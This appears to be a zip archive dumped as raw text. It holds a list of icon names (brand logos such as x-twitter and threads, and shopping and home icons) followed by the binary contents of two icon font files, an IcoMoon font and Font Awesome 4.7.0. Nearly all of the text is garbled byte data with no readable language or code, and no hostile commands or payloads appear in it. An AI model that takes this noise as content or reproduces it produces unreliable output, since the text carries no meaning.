069-line-1070-viber-1071-discord-1072-rss	073-slack074-slack-1075-tripadvisor076-tik-tok-1077-letter-d078-d079-blogger080-blogger-1081-delicious082-deviantart083-digg084-dribbble085-ebay
086-ebay-1087-evernote088-evernote-1089-flipboard
090-forrst091-forrst-1092-grooveshark093-grooveshark-1
094-lastfm095-myspace096-myspace-logo	097-brand	098-skype099-windows100-yahoo-logo	101-yahoo102-y103-right-quotation-sign104-deviantart-1105-transfer106-right-and-left107-exchange-2108-shopping-cart-3109-shop110-home
111-user-1112-gallery113-megaphone114-news115-newspaper116-add%117-calculation-operations-minus-sign118-x-twitter119-threads120-butterfly
121-square    PK     N\|      fonts/icomoon.eotnu [          X                       LP                       Eb                    i c o m o o n    R e g u l a r    V e r s i o n   1 . 0    i c o m o o n            0OS/2      `cmapVҩ     Tgasp     p   glyfBNO0  x  headM  H   6hhea
M     $hmtx      locapw  @   Pmaxp 1       nameJ	    post     8     8         3	                               @  " @ @                                      8   
      "                                   79               79               79     >i   ) D  !"3!2654&#357>32#"&5467#!"&5332>54&'3HeeH%HeeH2<C'(C\BA\2$$2		&CY23YC&		ifGGffG&Gfg$$/A]]A/#22#o/3YB''BY3/    )  64'0&1&"010.1&"010 12706 61f;<e%;$8aa9   R )  2706164'0.10>164'0&1&"0101)Fi~ijjF)-I+llnn+I+  U )  "'0&1&470>10.1&47061620101)Fi~ijiE)-I+llnn+I+    )  %01"'0.101"'0&1&4706 61620 1f;<e%;$9a便a9     n  4 Q h    0" "1"&50146302 212010*1010:104410:1201#0*1"&50414630:12#0*1"&54630:12#0*1"&54630:12#0*1"&5463%++++hܷܶ%rssrrssrrssrrssr@+J+++nIII      % B  %01&5014630:1201'0.17010<10*1010>162@TeT.&''TeT3,5,xx,5,<@M?T4+$?M@{"(!!("       %0.10101010.10 1tt3>3ɧ&`%3>3mm1:1G1;1      3  0&1010.1010101010>1010610.10> ggggYgggg       4 Z  0"1"&50410"1"&504414630(1201#0*101#0212010>1>30:10<10" "101 @%@%%P%%rr`r_	@%ZkZ	dxd@&&%%&9E9@%u5A6شش    ' 5 k  %0*1"&7>7>54&'&'4610&'&63210&#&#0*1"&7>7>54&'&'4610&'&63210)7f7,'
N2%*2f6'G%*2f6')7e8,'
M2*=
S;$A=:##:=A$;S
=*$>A#<S	=**=	S<#A>:"":   Z p  1  #"!4&+"3!2654&#2?6&+4&+"#"KKK)!")	wJ	Pe"))"X         5 I V  #".'0&1061>320101"32>7.#".54>32"32654&#Fhi@=ojͽFS36NM99M5]F((F]55]F((F]5#22##22#kv?Bzj+,mzA?yq/./W~OOY0-V}ORY/(F]55]F((F]55]F(U2##22##2      '   ".54>32"32>54.81"&5467&41.#"01021010"1013021010*10410212650<10"1041021041463:3# jPPjjPPj\xFFx\\xFFx	XX,FSE'CCC7"=@PjjPPjjPFx\\xFFx\\xF </@N@//@N@/CA(%   , E  0"1"010:1010*1010*10<10*10<10:10414>30210,|0:E::E::F::E::E:*F[0x
$z9D99D9z2XB&9D9   Z G Z p   326700"1"3:1023267>54&'.5467>54&'>7>50410*1"&'&67>76232#"&'&67>7>320410"1010"101021010210410210410"<..%N#rqTLc_j7HIX(% 36!
DZlZ[lYfTU|I)
OcK42/R	%8J?\;/.WJKW, oNK` $RG>U0eZ <QA<7L87DyM;!;$4H}}}~~}  	     ' ; O c w     0:10<10*100:10<10*10!0:10<10*100:10<10*10!0:10<10*10010:10<10*0:10<10*100:10<10*100:10<10*10 P`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`P P`PP`PP`PP`PP`PP`PP`PP`PP`PP`P P`PP`PP`PP`PP`PP`P      * .  !546323126'.#""3!2654&+!!mM=`'$
8Pe9@qT1%$m$$|=>MmG7%%5[C&1Tq@>$$$$t      ' ;  0(10<10(100(10<10(10010(10<10( @  @  @  @5@66@55@55@5U5@66@5       $ 8 M  0>10:10<10"10&10:1010" "1#0.10,101001010>10.1ZkZqr.1CPBUfUBUfU	9C99D8@%,%wppqpbSeSTdS     K  0*10<14&#0"1"010*1"0130:10130212650<10:12650414&ppfppppfpp'ppppfppppf       ! C  >54.#"326701!>54.#"326701jg2$GiF2U="$>T0 @`@$Kjf3$GjF2T="$>S0 @`@$@3g^g6$B]93S; =gUF@L?3g^g6$B]93S; =gUF@L?       ! B  32>54.#"4>70.1!32>54.#"4>70.jg2#GjF2T="$>S0 @`@$jg3$GjF2T="$>S0 @`@$3g^g6$B]94S: >fUF?L?3g^g6$B]94S: >fUF?L?       =  .#"32>70"1#".54>32010:10<101l#R\e5kPPkZ]G_r?Pi==iPP4AMA/9/*"8'PjjP:gS8^D&<iOPi<=5@N@/8/      & B d  .504146#0"1"&5.'.'#81#"&'.5467>3204146#0"1"&5&&$'"&5?wlb**C1#/DLP*----b@AhK+}|1B))`ku=)OJD."0-)+&|*Ig?@`z    r   "&'&6?64'&"0'.=4&#"&/&"#'";22?>326=46762764/.7>;2654&+"&54632#v-

,49$$$$9,4,	,E%%?.15-9$%%$9-4-

-?%%?NooNNnnN$9,5

-?%%?-

,5-:$%%#814-

-@$$@-

-4,9$$$oNNooNNo      , q  01&5041&"'.54>3810414601%#0"1010(10<1467061601#0(1"&50<10414630:12WiW"Ix_FBqW"XhX"]
@
h2##22#WhW	
L[K!aLo:5XrC`!LZL

3=3(U
yy#22#U#21        7 S p  0"1"&501463021201!0"1"&50<1463021201!0"1"&501463021201!0"1"&50441463021201#`@@@@@@@@@,h,شش8    Z {   010*1010:1010*1010"10>10*1010"10>10*10610:10>10*10610:10>1021010:10>1021010:010:10>10*1ZP`PP`PP`PP`PP`PP`PP`PP_PP`PP`PjP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`P      ' H  ".54>32"32>54.0"10"1"&50410414632010212 jPPjjPPjOi<<iOOi<<i1@%%%%%@PjjPPjjP<iOOi<<iOOi< &@%%%&  i N  %#"&'.'.'.50<10"10<12>50:1010>1010*101326701i :9"=-|FK#:E::E::E:)&K&+	D!_r_9D9:PQL\M9D9L[L*?     M  >7.#".'.51#"&'#"&'32$65<5>7#J'(;%R,#a85^F(Pv/M4 G2G,).>L*!JQW-+]ci6_%AJH-	%+(D\5(D^:A"Bo".SA.&@.)* }B&     D  467674&10676.#"10630:10:1265<54&'.53-5aOOa5-3VqrH&&HrqV~)L HD B?--?B DH L)FO&&J!##!J&&OF      p -  .'.'&10&10>7632676&>p((K@07;4h.Aex8:A$)U22UbԄ%9A<H[SLz7lvo\\x:so    . B  %0.181>54.#"32678101326764'%".54>32>K>*0Gy]]yGGy]L9>J>		BuW22WuBBuW22Wu->J>9L]zFFz]]yG0*>K>	

	53VuBBuW22WuBBuV3        bE_<      j    j                                 '                > f f  n          U   Z      f      	              U                     I       
     (b Lxb(xRT	&	
X
Vth    '  	                                          `        6        u                K      
    	     	   g  	   =  	   |  	      	   R  	 
 4 icomoon i c o m o o nVersion 1.0 V e r s i o n   1 . 0icomoon i c o m o o nicomoon i c o m o o nRegular R e g u l a ricomoon i c o m o o nFont generated by IcoMoon. F o n t   g e n e r a t e d   b y   I c o M o o n .                                 PK     N\Opn n   fonts/fontawesome-webfont.eotnu [        n                       LP                       Yxϐ                   F o n t A w e s o m e    R e g u l a r   $ V e r s i o n   4 . 7 . 0   2 0 1 6    F o n t A w e s o m e            PFFTMkG    GDEF  p    OS/22z@  X   `cmap
:    gasp  h   glyfM   Lhead-      6hhea
     $hmtxEy    
loca\    maxp,  8    name㗋 gh  post k  u    ːxY_<      32    32 	                 	 	                   '            @       i   3   3  s                              pyrs @                          p    U                                 ]                              y n                       2                           @                    
                                                                           z                     Z                                @    5 5             z                                  Z  Z          @                                                                    ,  _                 @                                              s                               @         	            @                        (                                     @            @      @        -   M M -  M M                  @                                 @  @  -              `   b                 $                                       6                                         4           8       " "  "  "  "  "                  @                  D         @                   ,              ,     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                   >                              d  Y     *     	  '	   	   	   	   	   	                                             	                                                           	                                                                                   T	      	   	   	   	   	            	         	   	      	                                                 @   	     f     	                                              %                 R           E	            	      	     $                    !  k  (                   D    '	         	         %                 	                %	                                         	                                                       0  %    /       &                                                      p @  0       !"""`>N^n~.>N^n~>N^n~          !"""` !@P`p  0@P`p !@P`p \XSB1ݬ
	                                                                                                                                                                                                                                                                                       
	                                                                                        ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,         t    L    T  $    l  	x  	  
T  (      d             l  ,          4    d    p  H    $  d  ,    t  (        !  "0  #   $,  $  &D  '  (  )T  *  *  ,  ,  -  .@  .  /`  /  0  0  1  2  3d  44  4  5   5  5  6   6\  6  7H  7  8  8`  8  9L  9  :h  :  ;  <p  =p  ><  >  ?h  ?  @H  @  A0  A  BX  B  Cd  C  DL  D  E  F  G0  G  H  I  J8  K  L  Md  N,  N  N  O  P`  P  Q4  Q  R  Rl  S,  S  T`  U0  W  X  Z  [@  [  \<  \  ]  ^(  ^  _  `p  b,  b  d  d  eP  e  f  g`  g  iL  i  jD  k  k  l  m@  n,  oL  p  q  r  sx  t  t  uD  {`  |   |  }  }  ~          H          l  @            l  H       T    H        `      @      $  \  X    D        T  X      D  P  ,    8    d  \                    H    x       t    X    p     d          x  t              @            \     ļ    Ÿ  Ɣ  0    d    ʨ  ˀ      ͔  x    ϰ  Ќ  ,  ш    ҈    ӌ    8  ,  ՜  `    l  H  ش  `    T  ڸ    ۔  @    l    ބ    ߬    l  p                                       4        X    $  l    (      `               	d 
 
    ,    ,   8   (  X    x | T  @    |   ! "x # #l $ $ 'h ( *L ,T .L 1t 1 2 30 3 4 5t 6T 7$ 8 9H : : ; < < ?X @ A B C D EH FH Gp HH Ix J  J K L M N@ P@ Q R SD T  UL V` V WX X4 X Z Z [d [ \| ] ^ ` aH a b cX d et fh g h i\ jx n p@ s v w x y z {h | } } \   l t  4     t  8 8  L  T         |     |     4 x   L      X (           @   l  t   $   x L L    H     Ġ T (    ʈ ˠ   ϔ l d  P  Մ x p   ڬ T T   ވ L     < H  $  l    4          P l   ,  x  p , x t  d   4   4  , h  P 	4 
    4  < , , 4 0 8 $  8  T   | !h " $L %0 &H ' ( ) *0 * + , .$ . 0 1 2@ 2 3 4t 5$ 6 9  : : ; ; <( < =4 ? @ A C D F H` H I L L L L L L L L L L L L L L L L  p       7!!!@pp p       ]    !2#!"&463!&54>3!2+@&&&&@+$(($F#+ &4&&4& x+#       +  ".4>32".4>32467632 DhgZghDDhg-iW DhgZghDDhg-iW&@(8 2N++NdN+';2N++NdN+'3
 8      !        #"'#"$&6$ rL46$܏ooo|W%r4L&V|oooܳ%        = M  %+".'&%&'3!26<.#!";2>767>7#!"&5463!2 %3@m00m@3% @:"7..7":6]^B@B^^BB^  $΄+0110+$ (	
t1%%1+`B^^B@B^^        "'.54632>324
#L</>oP$$Po>Z$_dC+I@$$@I+     "  #"'%#"&547&547%62V??V8<8yb%	I))9I	       	 +  	%%#"'%#"&547&547%62q2ZZ2IzyV)??V8<8)>~>[
2b%	I))9I	         %#!"&54>3 72  &6  }XX}.GuLlLuG. >mmUmEEm>         / ? O _ o      54&+";2654&+";2654&+";264&#!"3!2654&+";2654&+";264&#!"3!2654&+";2654&+";2654&+";267#!"&5463!2&&&&&&&&&&&& & && & &&&&&&&&& && &&&&&&&&&&&&&^BB^^B@B^@&&&&&&&&&&&& && &&&&&&&&&& && &&&&&&&&&&&&&&B^^B@B^^        / ?  #!"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2 L4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4L 4LL44LL4LL44LL4LL44LL4LL44LL 	        / ? O _ o    #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(8 (88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88          / ? O _  #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(8 8(@(88((8 8((88(@(8 8(@(88((88(@(88((8 (88((88(88((88(88((88(88((88(88((88(88((88    y     "/&4?62	62,PP&PP,jP  n #  $"'	"/&47	&4?62	62	PP&P&&P&P&P&&P&P      # + D  ++"&=#"&=46;546;232      #"'#"$&6$  @@rK56$܏ooo|W@@rjK&V|oooܳ        0  #!"&=463!2      #"'#"$&6$  @rK56$܏ooo|W@@rjK&V|oooܳ         ) 5   $&54762>54&'.7>"&5462 zz+i *bkQнQkb* j*LhLLhLzzBm +*i JyhQQhyJ i*+ mJ4LL44LL          / ? O  %+"&=46;2%+"&546;2%+"&546;2+"&546;2+"&546;2 `r@@r@@        n   4&"2#"/+"&/&'#"'&'&547>7&/.=46?67&'&547>3267676;27632 Ԗ#H
	,/1)
~'H(C
	,/1)	$HԖԖm6%2X
%	l2k	r6
[21..9Q
$
k2k	
w3[20       / ; C g  +"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@@`0

o`^BB^`5FN(@(NF5 @@@L%%Ju		@LSyuS@%44%       f  5  #!!!"&5465	7#"'	'&/&6762546;2& &??>LL>
 X 
  &&&AJ	A	J
Wh          #  #!"&5463!2!&'&!"&5!(8((88((`x
c`(8 `((88(@(8(D9 8(           ,  #!"&=46;46;2 .  6  $$ @(r^aa@@`(_^aa    2  N   C  5.+";26#!26'.#!"3!"547>3!";26/.#!2W.@@.$SS$@9I  I6>>         % =  $4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2 &4&&4&&4&&48(@(88(ч::(8@6@* & & *4&&4&&4&&4& (88(@(8888)@)'&&@      $ 0  "'&76;46;232  >& $$ `
(r^aa`		@`2(^aa         $ 0  ++"&5#"&54762  >& $$ ^
?@(r^aa`?		(^aa         #  !.'!!!%#!"&547>3!2<<<_@`&&
5@5
@&&>=(""=       '   #"'&5476.  6  $$    ! (r^aaJ	%%(_^aa     3  #!"'&?&#"3267672#"$&6$3276 &@*hQQhwI
	mʬzzk)' @&('QнQh_
	
z8zoe      $ G   !"$'"&5463!23267676;2#!"&4?&#"+"&= !2762@hk4&&&GaF*&@&ɆF*Ak4&nf&&&4BHrd@&&4rdMoe&            / ? O _ o   +"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2@@@@@@@@@@^B@B^^BB^`@@@@@@@@@@@@3@MB^^B@B^^         !54&"#!"&546;54   32@ Ԗ@8(@(88( p (8 jj(88(@(88   @   7  +"&5&5462#".#"#"&5476763232>32@@@@KjKך=}\I&:k~&26]S& H&&H5KKut,4,	& x:;*4*&        K  #+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G<_bb_<G  kS!1zz          "'!"&5463!62 &4&&M4&&M&&M&          -  "'!"&5463!62 #"&54>4.54632 &4&&M4&UF
&""""&
F&M&&M&%/B/%      G  - I k  "'!"&5463!62 #"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632 &4&&M4&UF
&""""&
FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
